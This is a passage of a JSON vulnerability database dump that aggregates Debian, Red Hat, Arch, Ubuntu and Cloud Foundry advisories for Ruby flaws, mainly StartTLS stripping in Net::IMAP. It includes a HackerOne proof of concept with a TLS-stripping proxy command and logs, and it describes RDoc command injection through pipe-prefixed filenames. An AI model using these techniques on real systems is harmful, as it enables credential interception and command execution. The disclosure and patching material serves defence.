"acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2023-06-28T06:21:23", "id": "OSV:DLA-2780-1", "href": "https://osv.dev/vulnerability/DLA-2780-1", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-08-10T07:20:46", "description": "\nSeveral vulnerabilities have been discovered in the interpreter for the\nRuby language and the Rubygems included, which may result in\nXML roundtrip attacks, the execution of arbitrary code, information\ndisclosure, StartTLS stripping in IMAP or denial of service.\n\n\nFor the oldstable distribution (buster), these problems have been fixed\nin version 2.5.5-3+deb10u4.\n\n\nWe recommend that you upgrade your ruby2.5 packages.\n\n\nFor the detailed security status of ruby2.5 please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/ruby2.5](https://security-tracker.debian.org/tracker/ruby2.5)\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2022-02-03T00:00:00", "type": "osv", "title": "ruby2.5 - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41817", "CVE-2021-41819", "CVE-2021-28965", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2022-08-10T07:20:43", "id": "OSV:DSA-5066-1", "href": "https://osv.dev/vulnerability/DSA-5066-1", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-04-30T21:18:07", "description": "\nSeveral vulnerabilities were fixed in JRuby, a Java implementation of\nthe Ruby programming language.\n\n\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\n[CVE-2019-16254](https://security-tracker.debian.org/tracker/CVE-2019-16254)\nHTTP Response Splitting attacks in the HTTP server of WEBrick.\n* [CVE-2019-16201](https://security-tracker.debian.org/tracker/CVE-2019-16201)\nRegular Expression Denial of Service vulnerability of WEBrick's Digest access authentication.\n* [CVE-2019-16255](https://security-tracker.debian.org/tracker/CVE-2019-16255)\nCode injection vulnerability.\n* [CVE-2020-25613](https://security-tracker.debian.org/tracker/CVE-2020-25613)\nHTTP Request Smuggling attack in WEBrick.\n* [CVE-2021-31810](https://security-tracker.debian.org/tracker/CVE-2021-31810)\nTrusting FTP PASV responses vulnerability in Net::FTP.\n* [CVE-2021-32066](https://security-tracker.debian.org/tracker/CVE-2021-32066)\nNet::IMAP did not raise an exception when StartTLS fails with an an unknown response.\n* [CVE-2023-28755](https://security-tracker.debian.org/tracker/CVE-2023-28755)\nQuadratic backtracking on invalid URI.\n* [CVE-2023-28756](https://security-tracker.debian.org/tracker/CVE-2023-28756)\nThe Time parser mishandled invalid strings that have specific characters.\n\n\nFor Debian 10 buster, these problems have been fixed in version\n9.1.17.0-3+deb10u1.\n\n\nWe recommend that you upgrade your jruby packages.\n\n\nFor the detailed security status of jruby please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/jruby>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-04-30T00:00:00", "type": "osv", "title": "jruby - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16201", "CVE-2019-16254", "CVE-2019-16255", "CVE-2020-25613", "CVE-2021-31810", "CVE-2021-32066", "CVE-2023-28755", "CVE-2023-28756"], "modified": "2023-04-30T21:17:46", "id": "OSV:DLA-3408-1", "href": "https://osv.dev/vulnerability/DLA-3408-1", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "redhatcve": [{"lastseen": "2023-05-27T17:16:53", "description": "Ruby's Net::IMAP module did not raise an exception when receiving an unexpected response to the STARTTLS command and the connection was not upgraded to use TLS. A man-in-the-middle attacker could use this flaw to prevent Ruby applications using Net::IMAP to enable TLS encryption for a connection to an IMAP server and subsequently eavesdrop on or modify data sent over the plain text connection.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-07T21:52:09", "type": "redhatcve", "title": "CVE-2021-32066", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32066"], "modified": "2023-04-06T09:06:10", "id": "RH:CVE-2021-32066", "href": "https://access.redhat.com/security/cve/cve-2021-32066", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "hackerone": [{"lastseen": "2023-09-05T18:47:12", "bounty": 500.0, "description": "`net/imap` does not seem to raise an exception when the remote end (imap server) fails to respond with `tagged_response` (NO/BAD) or `OK` to an explicit call of `imap.starttls`. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set `usessl = true` on ` initialize` where it is disabled by default: it is rarely done as one might expect that `starttls` raises an exception when starttls negotiation fails (like when using `usessl` on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail).\n\nThe vulnerable code:\n```ruby\n def starttls(options = {}, verify = true)\n send_command(\"STARTTLS\") do |resp|\n if resp.kind_of?(TaggedResponse) && resp.name == \"OK\"\n begin\n # for backward compatibility\n certs = options.to_str\n options = create_ssl_params(certs, verify)\n rescue NoMethodError\n end\n start_tls_session(options)\n end # <--- End of handling :)\n end\n end\n```\n\n# PoC\n\nFor instance, we have the following client code:\n```ruby\nrequire 'net/imap'\n\nimap = Net::IMAP.new('0.0.0.0', 9999)\nimap.starttls\nimap.login('myLOGIN','myPASSWORD') # test login\n#imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth\nimap.disconnect\n```\nStart the proxy: `python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError`\n (See `striptls.py` in attachments).\n\nProxy output:\n```bash\n$ python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError\n2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected\n2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143)\n2021-04-28 18:43:27,347 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server] '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yandex.net:143 ready to talk with ::ffff:188.138.209.162:62549, 2021-Apr-28 18:43:52, qheZ7J3friE1\\r\\n'\n2021-04-28 18:43:27,348 - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithError new: True>\n2021-04-28 18:43:27,348 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0001 STARTTLS\\r\\n'\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\\r\\n'\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server][mangled] None\n2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0002 LOGIN myLOGIN myPASSWORD\\r\\n'\n...\n```\nAs you can see, `starttls` did not return any error to the client and `LOGIN` authentication started.\n`AUTH` is the same:\n```\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0001 STARTTLS\\r\\n'\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\\r\\n'\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0002 AUTHENTICATE'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] ' LOGIN\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lX3VzZXI=\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\\r\\n'\n2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\\r\\n'\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\\r\\n'\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\\r\\n'\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\\r\\n'\n2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None\n2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA=='\n2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] '\\r\\n'\n2021-04-28 18:47:00,635 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server] 'RUBY0002 BAD Command syntax error. sc=PleRNJ32YGk1_281547_4-d4596b06cae3\\r\\n'\n```\n\nI set the same CVSS as CVE-2016-0772 has.\n\n## Impact\n\nAllows man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-04-28T16:06:30", "type": "hackerone", "title": "Ruby: imap: StartTLS stripping attack (CVE-2016-0772).", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-0772", "CVE-2021-32066"], "modified": "2021-07-08T15:34:20", "id": "H1:1178562", "href": "https://hackerone.com/reports/1178562", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "archlinux": [{"lastseen": "2023-05-27T16:21:11", "description": "Arch Linux Security Advisory ASA-202107-24\n==========================================\n\nSeverity: High\nDate : 2021-07-14\nCVE-ID : CVE-2021-31810 CVE-2021-32066\nPackage : ruby2.7\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-2139\n\nSummary\n=======\n\nThe package ruby2.7 before version 2.7.4-1 is vulnerable to multiple\nissues including silent downgrade and information disclosure.\n\nResolution\n==========\n\nUpgrade to 2.7.4-1.\n\n# pacman -Syu \"ruby2.7>=2.7.4-1\"\n\nThe problems have been fixed upstream in version 2.7.4.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2021-31810 (information disclosure)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. A malicious FTP server can use the PASV response to\ntrick Net::FTP into connecting back to a given IP address and port.\nThis potentially makes Net::FTP extract information about services that\nare otherwise private and not disclosed (e.g., the attacker can conduct\nport scans and service banner extractions).\n\n- CVE-2021-32066 (silent downgrade)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. Net::IMAP does not raise an exception when StartTLS\nfails with an unknown response, which might allow man-in-the-middle\nattackers to bypass the TLS protections by leveraging a network\nposition between the client and the registry to block the StartTLS\ncommand, aka a \u201cStartTLS stripping attack\u201d.\n\nImpact\n======\n\nA remote man-in-the-middle attacker could strip StartTLS encryption\nfrom IMAP connections to disclose authentication credentials and\nemails. Furthermore, a malicious FTP server could induce connections to\nan arbitrary IP address and port on a client, leading to potential\ninformation disclosure.\n\nReferences\n==========\n\nhttps://www.ruby-lang.org/en/news/2021/07/07/trusting-pasv-responses-in-net-ftp/\nhttps://hackerone.com/reports/1145454\nhttps://github.com/ruby/net-ftp/commit/5709ece67cf57a94655e34532f8a7899b28d496a\nhttps://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap/\nhttps://hackerone.com/reports/1178562\nhttps://github.com/ruby/net-imap/commit/adba6f0c3e5c5607c4822b9120322eb7e9a77891\nhttps://security.archlinux.org/CVE-2021-31810\nhttps://security.archlinux.org/CVE-2021-32066", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-14T00:00:00", "type": "archlinux", "title": "[ASA-202107-24] ruby2.7: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-07-14T00:00:00", "id": "ASA-202107-24", "href": "https://security.archlinux.org/ASA-202107-24", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-05-27T16:21:15", "description": "Arch Linux Security Advisory ASA-202107-23\n==========================================\n\nSeverity: High\nDate : 2021-07-14\nCVE-ID : CVE-2021-31810 CVE-2021-32066\nPackage : ruby\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-2138\n\nSummary\n=======\n\nThe package ruby before version 3.0.2-1 is vulnerable to multiple\nissues including silent downgrade and information disclosure.\n\nResolution\n==========\n\nUpgrade to 3.0.2-1.\n\n# pacman -Syu \"ruby>=3.0.2-1\"\n\nThe problems have been fixed upstream in version 3.0.2.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2021-31810 (information disclosure)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. A malicious FTP server can use the PASV response to\ntrick Net::FTP into connecting back to a given IP address and port.\nThis potentially makes Net::FTP extract information about services that\nare otherwise private and not disclosed (e.g., the attacker can conduct\nport scans and service banner extractions).\n\n- CVE-2021-32066 (silent downgrade)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. Net::IMAP does not raise an exception when StartTLS\nfails with an unknown response, which might allow man-in-the-middle\nattackers to bypass the TLS protections by leveraging a network\nposition between the client and the registry to block the StartTLS\ncommand, aka a \u201cStartTLS stripping attack\u201d.\n\nImpact\n======\n\nA remote man-in-the-middle attacker could strip StartTLS encryption\nfrom IMAP connections to disclose authentication credentials and\nemails. Furthermore, a malicious FTP server could induce connections to\nan arbitrary IP address and port on a client, leading to potential\ninformation disclosure.\n\nReferences\n==========\n\nhttps://www.ruby-lang.org/en/news/2021/07/07/trusting-pasv-responses-in-net-ftp/\nhttps://hackerone.com/reports/1145454\nhttps://github.com/ruby/net-ftp/commit/5709ece67cf57a94655e34532f8a7899b28d496a\nhttps://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap/\nhttps://hackerone.com/reports/1178562\nhttps://github.com/ruby/net-imap/commit/adba6f0c3e5c5607c4822b9120322eb7e9a77891\nhttps://security.archlinux.org/CVE-2021-31810\nhttps://security.archlinux.org/CVE-2021-32066", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-14T00:00:00", "type": "archlinux", "title": "[ASA-202107-23] ruby: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-07-14T00:00:00", "id": "ASA-202107-23", "href": "https://security.archlinux.org/ASA-202107-23", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-05-27T16:21:11", "description": "Arch Linux Security Advisory ASA-202107-25\n==========================================\n\nSeverity: High\nDate : 2021-07-14\nCVE-ID : CVE-2021-31799 CVE-2021-31810 CVE-2021-32066\nPackage : ruby2.6\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-2140\n\nSummary\n=======\n\nThe package ruby2.6 before version 2.6.8-1 is vulnerable to multiple\nissues including silent downgrade, arbitrary command execution and\ninformation disclosure.\n\nResolution\n==========\n\nUpgrade to 2.6.8-1.\n\n# pacman -Syu \"ruby2.6>=2.6.8-1\"\n\nThe problems have been fixed upstream in version 2.6.8.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2021-31799 (arbitrary command execution)\n\nRDoc before version 6.3.1, as bundled with Ruby before version 2.7.4\nand 2.6.8 as well as GitLab before version 14.0.2, used to call\nKernel#open to open a local file. If a Ruby project has a file whose\nname starts with \"|\" and ends with \"tags\", the command following the\npipe character is executed. A malicious Ruby project could exploit it\nto run an arbitrary command execution against a user who attempts to\nrun the rdoc command.\n\n- CVE-2021-31810 (information disclosure)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. A malicious FTP server can use the PASV response to\ntrick Net::FTP into connecting back to a given IP address and port.\nThis potentially makes Net::FTP extract information about services that\nare otherwise private and not disclosed (e.g., the attacker can conduct\nport scans and service banner extractions).\n\n- CVE-2021-32066 (silent downgrade)\n\nA security issue has been discovered in Ruby before versions 3.0.2,\n2.7.4 and 2.6.8. Net::IMAP does not raise an exception when StartTLS\nfails with an unknown response, which might allow man-in-the-middle\nattackers to bypass the TLS protections by leveraging a network\nposition between the client and the registry to block the StartTLS\ncommand, aka a \u201cStartTLS stripping attack\u201d.\n\nImpact\n======\n\nA remote man-in-the-middle attacker could strip StartTLS encryption\nfrom IMAP connections to disclose authentication credentials and\nemails. Furthermore, a malicious FTP server could induce connections to\nan arbitrary IP address and port on a client, leading to potential\ninformation disclosure.\n\nReferences\n==========\n\nhttps://www.ruby-lang.org/en/news/2021/05/02/os-command-injection-in-rdoc/\nhttps://github.com/ruby/rdoc/commit/a7f5d6ab88632b3b482fe10611382ff73d14eed7\nhttps://github.com/ruby/ruby/commit/483f303d02e768b69e476e0b9be4ab2f26389522\nhttps://github.com/ruby/ruby/commit/fe3c49c9baeeab58304ede915b7edd18ecf360fc\nhttps://www.ruby-lang.org/en/news/2021/07/07/trusting-pasv-responses-in-net-ftp/\nhttps://hackerone.com/reports/1145454\nhttps://github.com/ruby/net-ftp/commit/5709ece67cf57a94655e34532f8a7899b28d496a\nhttps://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap/\nhttps://hackerone.com/reports/1178562\nhttps://github.com/ruby/net-imap/commit/adba6f0c3e5c5607c4822b9120322eb7e9a77891\nhttps://security.archlinux.org/CVE-2021-31799\nhttps://security.archlinux.org/CVE-2021-31810\nhttps://security.archlinux.org/CVE-2021-32066", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-14T00:00:00", "type": "archlinux", "title": "[ASA-202107-25] ruby2.6: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-07-14T00:00:00", "id": "ASA-202107-25", "href": "https://security.archlinux.org/ASA-202107-25", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "ubuntu": [{"lastseen": "2023-05-27T15:00:01", "description": "## Releases\n\n * Ubuntu 21.04 \n * Ubuntu 20.10 \n * Ubuntu 20.04 LTS\n * Ubuntu 18.04 ESM\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * ruby2.3 \\- Object-oriented scripting language\n * ruby2.5 \\- Object-oriented scripting language\n * ruby2.7 \\- Object-oriented scripting language\n\nIt was discovered that Ruby incorrectly handled certain inputs. \nAn attacker could possibly use this issue to execute arbitrary code. \n(CVE-2021-31799)\n\nIt was discovered that Ruby incorrectly handled certain inputs. \nAn attacker could possibly use this issue to conduct \nport scans and service banner extractions. This issue only affected \nUbuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 20.10, and Ubuntu 21.04. (CVE-2021-31810)\n\nIt was discovered that Ruby incorrectly handled certain inputs. \nAn attacker could possibly use this issue to perform \nmachine-in-the-middle attackers to bypass the TLS protection. \n(CVE-2021-32066)\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-21T00:00:00", "type": "ubuntu", "title": "Ruby vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-07-21T00:00:00", "id": "USN-5020-1", "href": "https://ubuntu.com/security/notices/USN-5020-1", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "cloudfoundry": [{"lastseen": "2023-05-27T16:25:31", "description": "## Severity\n\nMedium\n\n## Vendor\n\nCanonical Ubuntu\n\n## Versions Affected\n\n * Canonical Ubuntu 18.04\n\n## Description\n\nIt was discovered that Ruby incorrectly handled certain inputs. An attacker could possibly use this issue to execute arbitrary code. (CVE-2021-31799)\n\nIt was discovered that Ruby incorrectly handled certain inputs. An attacker could possibly use this issue to conduct port scans and service banner extractions. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 20.10, and Ubuntu 21.04. (CVE-2021-31810)\n\nIt was discovered that Ruby incorrectly handled certain inputs. An attacker could possibly use this issue to perform man-in-the-middle attackers to bypass the TLS protection. (CVE-2021-32066)\n\nCVEs contained in this USN include: CVE-2021-31799, CVE-2021-32066, CVE-2021-31810.\n\n## Affected Cloud Foundry Products and Versions\n\n_Severity is medium unless otherwise noted._\n\n * cflinuxfs3 \n * All versions prior to 0.250.0\n * CF Deployment \n * All versions prior to 16.22.0\n\n## Mitigation\n\nUsers of affected products are strongly encouraged to follow the mitigations below. The Cloud Foundry project recommends upgrading the following releases:\n\n * cflinuxfs3 \n * Upgrade all versions to 0.250.0 or greater\n * CF Deployment \n * Upgrade all versions to 16.22.0 or greater\n\n## References\n\n * [USN Notice](<https://usn.ubuntu.com/5020-1/>)\n * [CVE-2021-31799](<https://people.canonical.com/~ubuntu-security/cve/CVE-2021-31799>)\n * [CVE-2021-32066](<https://people.canonical.com/~ubuntu-security/cve/CVE-2021-32066>)\n * [CVE-2021-31810](<https://people.canonical.com/~ubuntu-security/cve/CVE-2021-31810>)\n\n## History\n\n2021-09-03: Initial vulnerability report published.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": 